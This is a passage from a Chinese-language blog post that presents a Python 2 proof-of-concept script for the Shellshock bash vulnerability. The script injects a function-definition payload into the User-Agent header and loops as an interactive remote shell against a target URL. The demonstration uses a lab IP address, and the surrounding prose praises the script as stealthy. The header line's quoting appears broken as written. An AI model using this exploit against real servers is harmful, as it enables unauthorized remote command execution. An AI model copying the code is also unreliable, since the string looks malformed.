下面這段Python寫的Poc的代碼非常的酷(屌噠噠),用戶根本感覺不到發生了什么事情.
這個Poc執行后就和系統的命令終端一樣,不過這個Poc它的目的卻與系統的不同.這個Poc會修改瀏覽器的User-Agent
信息,然后不停的向攻擊主機發送一個惡意的指令(這里是執行某個特定的命令).
下面這段代碼封裝了一個無限循環,通過raw_input獲取用戶輸入的終止標記,最后提交請求,從下面的這段代碼你可以看到
如何去完成一個HTTP請求以及如何修改User-Agent的內容:
```
#!/usr/bin/python
import sys, urllib2 #導入需要使用的模塊
if len(sys.argv) != 2: # 檢查輸入命令的格式是否正確 "<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 把測試的URL輸出顯示出來
print "[+] Attempting Shell_Shock - Make sure to type full path"
while True: # 通過raw_input來獲取用戶輸入的值,如果是"~$"就停止執行
command=raw_input("~$ ")
opener=urllib2.build_opener() # 修改默認的請求頭部,把修改后的User-Agent包含進去
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ' /bin/bash -c "'+command+'"')]
try: # 使用Try/Except 進行錯誤處理
response=opener.open(URL) #提交請求并且顯示響應結果
for line in response.readlines():
print line.strip()
except Exception as e: print e
```
下面的圖片是這個腳本執行后的截圖,正在測試ip地址為http://192.168.56.101
的系統,你可以很清晰的看到執行之后會生成一個和真實命令終端幾乎是一樣的.
大家其實可以看到這個腳本只是對測試系統發送了一個HTTP請求.其他的什么也沒有
做.不過最后一張圖展示了具體的細節部分:

